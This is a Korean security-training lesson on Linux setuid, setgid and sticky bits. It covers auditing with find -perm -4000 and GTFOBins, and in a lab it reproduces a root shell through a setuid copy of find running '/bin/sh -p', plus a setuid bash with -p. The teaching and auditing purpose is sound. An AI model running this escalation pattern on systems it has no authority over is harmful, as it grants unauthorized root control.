Step 106. 리눅스 권한 심화 — setuid, setgid, sticky bit

Step 106. 리눅스 권한 심화 — setuid, setgid, sticky bit

Level 2 — 보안 입문과 공격 스킬 기초 | 난이도 ★★★☆☆ | 예상 소요 시간 3시간

전제: Step 23~24의 rwx·소유권·sudo, Step 99(Bandit 16~20)에서 setuid를 처음 본 경험.

  • 준비물: 리눅스 터미널(우분투/WSL), 일반 사용자 계정 하나(없으면 시스템 계정 nobody로 대체 가능).
  • ⚠️ 이 챕터의 실습은 내 랩·합법 플랫폼 전용입니다. 허가 없는 시스템에 적용하면 범죄입니다.
  • 주의: 오늘의 실험은 전부 /tmp 아래의 연습 폴더에서 합니다. 시스템 파일의 권한은 읽기만 하고 바꾸지 않습니다. setuid 실험 파일도 실습이 끝나면 지우는 습관을 들이세요 — setuid 파일을 흩뿌려 두는 것 자체가 취약점입니다.

Step 99에서 setuid를 처음 만났습니다 — "파일의 주인 권한으로 실행되는" 이상한 비트. Bandit에서는 그것이 친절한 사다리였지만, 실제 서버에서 잘못 붙은 setuid는 공격자의 엘리베이터입니다. 오늘은 세 개의 특수 비트 — setuid, setgid, sticky bit — 를 직접 만들고, 찾고, 악용 시나리오까지 실험합니다.

권한 상승(privilege escalation)은 침투의 후반부를 지배하는 주제입니다. "침입"과 "장악"을 가르는 것이 권한이고, 오늘 배우는 세 비트는 리눅스 권한 상승의 고전이자 현역입니다. 오늘 실험의 절정은 이 한 장면입니다 — 일반 사용자가 find를 실행했는데 루트 권한의 쉘이 튀어나옵니다.


1. 학습 목표

이 챕터를 끝내면 다음을 할 수 있습니다:

  • setuid·setgid·sticky bit의 동작을 각각 한 문장으로 설명한다
  • 권한 문자열의 s·S·t·T를 읽고 숫자 표기(4755 등)로 변환한다
  • find -perm으로 시스템의 특수 권한 파일을 전수 조사한다
  • GTFOBins를 조회해 setuid 명령의 악용 가능 여부를 판단한다
  • setuid가 붙은 find로 권한 상승을 재현하고, bash의 권한 낮춤과 -p 옵션을 설명한다

2. 배경 지식 — 오늘의 도구와 개념

오늘의 도구 한눈에 보기

구분 내용
언어·환경 리눅스 셸(bash), 실험은 /tmp 아래
오늘의 명령어 chmod u+s / g+s / +t, chmod 4755·2755·1777, find / -perm -4000, id, GTFOBins(웹 참조)
필요한 개념 특수 권한 비트 3개, 실제 UID와 유효 UID(euid), GTFOBins, 권한 낮춤(privilege drop)
오늘의 산출물 특수 비트 실험 기록 + 시스템 setuid 목록 분석 메모

2-1. 네 번째 자리 — 특수 권한 비트

Step 23에서 권한은 9개의 스위치(3등급 × 3동작)라고 배웠습니다. 사실 스위치는 12개입니다. 남은 3개가 오늘의 주인공입니다.

비트 숫자 붙는 곳 효과
setuid 4000 파일 실행하면 파일 소유자의 권한으로 동작
setgid 2000 파일 실행하면 파일 그룹의 권한으로 동작 / 폴더에 붙이면 안의 파일이 폴더의 그룹을 상속
sticky 1000 폴더 그 안에서는 자기 파일만 지울 수 있음

숫자 표기에서 이 셋은 맨 앞에 한 자리를 추가합니다. 4755 = setuid + 755, 1777 = sticky + 777.

2-2. setuid — 왜 이런 것이 존재하는가

passwd 명령을 생각해 보세요. 일반 사용자가 자기 비밀번호를 바꾸려면 /etc/shadow를 고쳐야 하는데, 그 파일은 root만 쓸 수 있습니다. 사용자에게 root를 줄 수는 없고, 그렇다고 비밀번호 변경을 못 하게 할 수도 없습니다.

해결책이 setuid입니다. /usr/bin/passwd에 setuid를 붙여 두면, 일반 사용자가 실행하는 순간에만 프로세스가 root 권한을 빌립니다. 프로그램이 검증된 절차대로만 shadow를 고치고 끝나는 것 — "신원을 빌려 주는 정당한 위임"이 설계 의도입니다.

여기서 핵심 용어가 나옵니다. 프로세스에는 두 개의 신분증이 있습니다 — 실제 UID(누가 실행했나)와 유효 UID(euid, 지금 누구의 권한인가). setuid 프로그램은 실행되면 euid가 파일 소유자로 바뀝니다. id 출력에 euid= 항목이 따로 찍히는 이유입니다.

2-3. GTFOBins — 정상 명령의 이중생활 목록

setuid의 위험은 "권한을 빌리는 동안 그 프로그램이 무엇을 하느냐"에 있습니다. passwd처럼 한 가지 일만 하는 프로그램은 비교적 안전합니다. 그런데 find, vim, less처럼 명령을 실행할 수 있는 기능이 내장된 정상 명령에 setuid가 붙으면 어떻게 될까요? 빌린 root 권한으로 쉘을 띄울 수 있습니다.

GTFOBins(gtfobins.github.io)는 "setuid 등으로 오용되면 권한 상승에 쓸 수 있는 정상 리눅스 명령"을 명령별로 정리한 백과사전입니다. 공격자는 침입한 서버에서 setuid 목록을 뽑고 이 사이트와 대조합니다 — 방어자도 같은 목록을 봐야 불필요한 setuid를 걸러낼 수 있습니다.

2-4. sticky bit — 공용 광장의 규칙

/tmp는 모든 사용자가 쓰는 광장입니다. 777이라면 누구든 남의 파일을 지울 수 있어 혼란스러울 것입니다. sticky bit는 이 광장에 한 줄 규칙을 추가합니다 — "쓰기는 자유, 삭제는 자기 것만." ls -ld /tmp의 맨 끝 t가 그것입니다.


3. 따라 하기

3-1. 특수 비트 붙이고 읽기 (실측)

실험 폴더를 만들고 진짜 명령 하나를 복사해 실험 대상으로 씁니다.

mkdir -p /tmp/perm-lab && cd /tmp/perm-lab
cp /bin/ls testbin
chmod u+s testbin
ls -l testbin

출력 (2026-09-09 실측, Ubuntu 24.04 WSL):

-rwsr-xr-x 1 root root 142312 Sep  9 15:09 testbin

읽는 법: 소유자의 x 자리가 s로 바뀌었습니다 — "실행 권한이 있고, setuid도 있다." 이 파일을 누가 실행하든 프로세스의 euid는 소유자(root)가 됩니다.

setgid와 sticky도 봅시다 (2026-09-09 실측):

chmod u-s testbin && chmod g+s testbin && ls -l testbin
mkdir shared && chmod 1777 shared && ls -ld shared
-rwxr-sr-x 1 root root 142312 Sep  9 15:09 testbin
drwxrwxrwt 2 root root 4096 Sep  9 15:09 shared

읽는 법: setgid는 그룹의 x 자리에 s, sticky는 기타의 x 자리에 t. 위치로 무엇이 붙었는지 구분합니다.

3-2. 대문자 S와 T — x가 없는 특수 비트 (실측)

printf "x" > data.txt
chmod 4644 data.txt
ls -l data.txt

출력 (2026-09-09 실측):

-rwSr--r-- 1 root root 1 Sep  9 15:09 data.txt

읽는 법: 대문자 S는 "setuid는 붙었는데 실행 권한(x)이 없다"는 뜻입니다. 데이터 파일에 실수로 setuid를 붙이면 이 모양이 됩니다. 실행도 안 되는 파일의 setuid는 아무 동작도 하지 않지만, 로그를 훑는 눈에는 설정 실수의 표시로 읽힙니다. 소문자/대문자 = x의 유무, 이것이 s/S, t/T의 규칙입니다.

3-3. 시스템의 setuid 전수 조사 (실측)

침입한 공격자가 제일 먼저 하는 일 중 하나입니다. 우리도 똑같이 해 봅니다 — 방어자의 눈으로.

find / -perm -4000 -type f 2>/dev/null

출력 (2026-09-09 실측, WSL — 배포판·설치 패키지에 따라 다릅니다):

/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/bin/umount
/usr/bin/su
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/mount
...

읽는 법: -perm -4000-는 "이 비트가 켜진 것"이라는 뜻(다른 비트는 무관). 목록을 읽는 기준은 두 가지입니다 — ① 이 프로그램은 왜 root 권한이 필요한가(passwd, su, sudo, mount는 당연), ② GTFOBins에 있는 명령인가. ②에 해당하는데 ①의 이유가 없으면 위험 신호입니다.

setgid도 같은 방법입니다 (2026-09-09 실측, 일부):

find /usr /bin /sbin -perm -2000 -type f 2>/dev/null
/usr/sbin/unix_chkpwd
/usr/bin/chage
/usr/bin/ssh-agent
...

3-4. setuid의 실제 효과 — euid가 바뀌는 순간 (실측)

id 명령에 setuid를 붙여 일반 사용자가 실행해 봅니다. 실험에는 시스템에 원래 있는 무권한 계정 nobody를 씁니다.

cp /usr/bin/id id_suid && chmod u+s id_suid
su -s /bin/sh nobody -c "id"
su -s /bin/sh nobody -c "/tmp/perm-lab/id_suid"

출력 (2026-09-09 실측):

uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
uid=65534(nobody) gid=65534(nogroup) euid=0(root) groups=65534(nogroup)

읽는 법: 같은 사람(nobody)이 같은 명령을 쳤는데, 두 번째에는 euid=0(root)가 추가되었습니다. 실행자는 그대로인데 빌린 권한이 생겼습니다. 이 한 줄의 차이가 setuid의 전부입니다.

3-5. GTFOBins 패턴 재현 — setuid find로 root 쉘 (실측)

이제 오늘의 절정입니다. root 소유의 setuid find가 있다고 가정하고(= 관리자의 설정 실수), GTFOBins의 공식 패턴을 그대로 씁니다.

cp /usr/bin/find find_suid && chmod u+s find_suid
su -s /bin/sh nobody -c "/tmp/perm-lab/find_suid . -maxdepth 0 -exec /bin/sh -p -c 'id && whoami' \; -quit"

출력 (2026-09-09 실측):

uid=65534(nobody) gid=65534(nogroup) euid=0(root) groups=65534(nogroup)
root

읽는 법: find-exec는 찾은 파일마다 명령을 실행하는 정상 기능입니다. 평범한 사용자(nobody)가 find를 썼는데 whoamiroot를 찍었습니다 — 설정 실수 한 줄이 곧바로 서버 장악으로 이어지는 것을 직접 확인했습니다.

3-6. bash의 권한 낮춤과 -p (실측)

그런데 이상한 점이 있습니다. 3-5에서 -p를 빼면 어떻게 될까요?

cp /bin/bash bash_suid && chmod u+s bash_suid
su -s /bin/sh nobody -c "/tmp/perm-lab/bash_suid -c id"
su -s /bin/sh nobody -c "/tmp/perm-lab/bash_suid -p -c id"

출력 (2026-09-09 실측):

uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
uid=65534(nobody) gid=65534(nogroup) euid=0(root) groups=65534(nogroup)

읽는 법: bash는 실제 UID와 euid가 다르면 스스로 권한을 낮춥니다 — setuid를 이용한 쉘 탈취를 막으려는 내장 안전장치입니다. -p(privileged)는 그 낮춤을 끄라는 옵션입니다. 3-5의 패턴에 /bin/sh -p가 들어간 이유가 이것입니다. 같은 이유로 최신 배포판에서는 일부 우회가 막혀 있어, 실전에서 이 패턴이 안 먹히면 원리 이해로 충분합니다.

3-7. sticky bit — /tmp의 규칙 확인 (실측)

ls -ld /tmp

출력 (2026-09-09 실측):

drwxrwxrwt 12 root root 4096 Sep  9 15:11 /tmp

읽는 법: 1777 — 모두에게 읽기·쓰기·출입이 열려 있되, sticky(t)가 "남의 파일 삭제"만 막습니다. 공용 폴더가 공용으로 기능할 수 있게 하는 최소한의 규칙입니다. 우리의 실험 폴더(/tmp/perm-lab)가 이 규칙 덕에 다른 사용자에게 지워지지 않고 있었습니다.

3-8. 실험 정리

오늘 만든 setuid 파일들은 실험이 끝나면 지웁니다.

rm -rf /tmp/perm-lab

⚠️ rm -rf는 되돌릴 수 없습니다. 경로를 한 번 더 확인하고 실행하세요. 그리고 기억하세요 — 방금 지운 그 파일 모양(setuid가 붙은 find)을 실제 서버에서 발견하면 그것은 취약점 신고감입니다.


4. 미션과 연습문제

미션 — 내 시스템의 특수 권한 감사

  1. find / -perm -4000find / -perm -2000으로 내 시스템의 특수 권한 파일 목록을 뽑습니다
  2. 목록의 각 항목을 "정당한 이유가 있는가"로 분류합니다 — 모르는 것은 GTFOBins에서 명령 이름으로 검색해 "SUID" 항목이 있는지 확인합니다
  3. /tmp/perm-lab에서 3-5의 root 쉘 재현을 직접 수행하고, 성공 화면(whoamiroot)을 write-up에 기록합니다
  4. 위키에 "특수 권한 비트 정리" 페이지를 작성합니다 — 세 비트의 동작, 읽는 법, 위험 조합 한 줄씩

연습문제

문제 1. 권한 문자열 -rwsr-x---을 숫자 표기로 바꾸고, 이 파일을 그룹 멤버가 실행하면 어떤 일이 일어나는지 설명해 보세요.

문제 2. find / -perm -4000에서 -4000 앞의 -가 없으면(-perm 4000) 무엇을 찾게 되며 왜 쓸모없어지는지 설명해 보세요.

문제 3. bash가 setuid로 실행되어도 권한을 스스로 낮추는 이유와, 그것을 우회하는 -p 옵션이 공격에서 의미하는 바를 설명해 보세요.

문제 4. /tmp에 sticky bit가 없었다면(그냥 777) 어떤 공격·사고가 가능한지 한 가지 시나리오를 써 보세요.


5. 모범 답안과 완료 기준

미션 모범 답안

감사 메모의 모범 형식 (2026-09-09 실측 목록 기준):

[정당] /usr/bin/passwd — /etc/shadow 수정 위임
[정당] /usr/bin/su, /usr/bin/sudo — 신분 전환이 본업
[정당] /usr/bin/mount, /usr/bin/umount — 파일시스템 작업 위임
[확인 필요] GTFOBins에 SUID 항목이 있는데 이유가 불명한 것 → 제거 검토

검증하는 법: ① 두 조사 명령의 출력이 파일로 저장되어 있는가. ② passwd·su·sudo가 왜 setuid여야 하는지 한 줄씩 적혀 있는가. ③ 3-5 재현에서 whoamiroot를 찍었는가 (안 되면 3-6의 -p를 확인). ④ 실험 폴더를 지웠는가 — ls /tmp/perm-lab이 "없음"이어야 합니다.

연습문제 해답

문제 1 해답. 4750입니다. 그룹 멤버가 실행하면 프로세스의 euid가 파일 소유자로 바뀌어, 소유자 권한으로 동작합니다. 기타(o)에는 아무 권한이 없어(---) 실행조차 못 합니다 — setuid는 "빌려 줄 대상을 권한으로 제한"하는 조합이 핵심입니다.

문제 2 해답. -가 없으면 "권한이 정확히 4000인 파일"만 찾습니다 — rwx가 전부 꺼진 파일이어야 하므로 실제로는 거의 존재하지 않습니다. -는 "해당 비트가 켜져 있으면 나머지는 무관"이라는 뜻이라, setuid 검색에는 반드시 필요합니다.

문제 3 해답. 실제 UID와 euid가 다르면 "누군가 신원을 빌려 실행 중"이라는 뜻이고, 그 상태로 대화형 쉘을 열면 권한 상승 그 자체이기 때문에 bash가 스스로 낮춥니다 (2026-09-09 실측으로 확인). -p는 그 안전장치를 끄는 옵션이라, 공격 패턴에서는 "빌린 권한을 쉘로 고정하는 스위치"가 됩니다. GTFOBins 패턴에 -p가 반복 등장하는 이유입니다.

문제 4 해답. 예: 다른 사용자가 /tmp에 만든 작업 파일을 공격자가 지우고 같은 이름의 함정 파일로 바꿔치기해, 그 파일을 읽는 프로그램(또는 다음 사용자)을 속일 수 있습니다. 삭제·교체가 자유로운 공용 폴더는 경쟁 조건(race condition) 공격의 단골 무대입니다 — sticky bit는 그 무대를 폐쇄하는 장치입니다.

완료 기준 체크리스트

  • [ ] setuid·setgid·sticky 세 비트의 동작을 한 문장씩 말할 수 있다
  • [ ] s/S/t/T의 위치와 대소문자 규칙을 읽을 수 있다
  • [ ] 숫자 표기 네 자리(4755 등)의 맨 앞 자리를 해석할 수 있다
  • [ ] find / -perm -4000 -type f 2>/dev/null을 외워서 칠 수 있다
  • [ ] id 출력에서 uid와 euid의 차이를 설명할 수 있다
  • [ ] GTFOBins가 무엇이며 왜 공격·방어 양쪽이 보는지 설명할 수 있다
  • [ ] 미션: setuid find로 root 쉘 재현과 시스템 감사를 완료했다

6. 흔한 실수와 해결

벽 1. find가 너무 오래 걸리거나 권한 오류가 쏟아진다

증상 (출력 예시):

find: '/proc/...': Permission denied

원인: / 전체를 뒤지면 /proc 등 읽을 수 없는 경로의 오류가 화면을 덮고, 느립니다.
해결: 2>/dev/null로 오류를 버리세요 (실측에서 이 옵션 없이는 결과를 읽기 어렵습니다). 시스템이 크면 find /usr /bin /sbin -perm -4000처럼 범위를 나누는 것도 방법입니다.

벽 2. setuid를 붙였는데 권한이 안 오른다

증상: setuid 파일을 실행해도 id에 euid가 안 찍힙니다.
원인: ① 실행한 사람이 파일을 실행할 권한(x)이 없거나, ② 스크립트 파일인 경우 — 리눅스 커널은 스크립트의 setuid를 무시합니다(바이너리만 동작), ③ 파일시스템이 nosuid로 마운트된 경우.
해결: ls -lsx를 함께 확인하고, 실험은 3-4처럼 바이너리(/usr/bin/id 복사본)로 하세요.

벽 3. root 쉘 패턴을 쳤는데 그냥 nobody다

증상 (2026-09-09 실측, -p를 뺐을 때):

uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)

원인: 쉘(bash/dash)이 setuid 상태를 감지하고 권한을 스스로 낮췄습니다.
해결: /bin/sh -p처럼 -p를 붙이세요 (3-6). 그래도 안 되면 그 배포판의 쉘이 더 엄격한 것입니다 — 원리 이해로 넘어가도 됩니다.

벽 4. -perm의 숫자와 기호가 헷갈린다

증상: -4000, 4000, /4000의 차이를 모르겠습니다.
원인: find의 권한 검사는 세 모드가 있습니다 — 4000(정확히 이것), -4000(이 비트 포함), /4000(이 비트들 중 하나라도).
해결: setuid 전수 조사에는 -4000 하나만 외우면 됩니다. "빼기는 포함"으로 암기하세요.

벽 5. 실험 파일을 정리하지 않고 잊는다

증상: 며칠 뒤 /tmp나 홈에 setuid 실험 파일이 남아 있습니다.
원인: 실습 챕터의 정리 단계 건너뛰기.
해결: 오늘부터 버릇 — setuid를 붙인 실험이 끝나면 그 파일은 그 자리에서 지웁니다. 진짜 서버라면 그 파일이 다음 침입자의 사다리입니다.


7. 정리

오늘의 개념

개념 한 줄 설명
setuid (4000) 실행 시 파일 소유자의 권한을 빌리는 비트
setgid (2000) 실행 시 파일 그룹 권한 / 폴더에서는 그룹 상속
sticky bit (1000) 공용 폴더에서 자기 파일만 삭제 가능
euid 프로세스의 "지금 권한" 신분증 — uid와 다를 수 있다
GTFOBins setuid 등으로 오용 가능한 정상 명령의 백과사전
권한 낮춤 쉘이 setuid 상태를 감지해 스스로 권한을 버리는 안전장치 (-p로 해제)
s/S 구분 소문자 = x 있음, 대문자 = x 없음

오늘의 명령어

명령 하는 일
chmod u+s 파일 / chmod 4755 파일 setuid 붙이기
chmod g+s 파일 / chmod +t 폴더 setgid / sticky 붙이기
find / -perm -4000 -type f 2>/dev/null setuid 파일 전수 조사
find / -perm -2000 -type f 2>/dev/null setgid 파일 전수 조사
id uid와 euid(빌린 권한) 확인
find . -exec /bin/sh -p \; -quit GTFOBins 패턴 — setuid find의 쉘 탈취
ls -ld /tmp sticky bit 확인

명령어보다 중요한 감각

setuid는 "정당한 위임"과 "치명적 실수"가 한 끗 차이인 장치입니다. 구별 기준은 단순합니다 — 그 프로그램이 빌린 권한으로 무엇이든 할 수 있는가 (find·vim처럼), 아니면 정해진 한 가지 일만 하는가 (passwd처럼). 오늘부터 시스템을 볼 때 find / -perm -4000의 목록이 체크리스트로 읽히기 시작하면 됩니다. 공격자가 침입 직후 가장 먼저 치는 명령을 방어자가 가장 먼저 감사하는 명령으로 쓰는 것 — 공방이 같은 지도를 보고 있다는 것이 오늘의 마지막 교훈입니다.


전부 체크되면 Step 106 완료입니다. 사이드바의 체크박스를 눌러 진도를 저장하세요.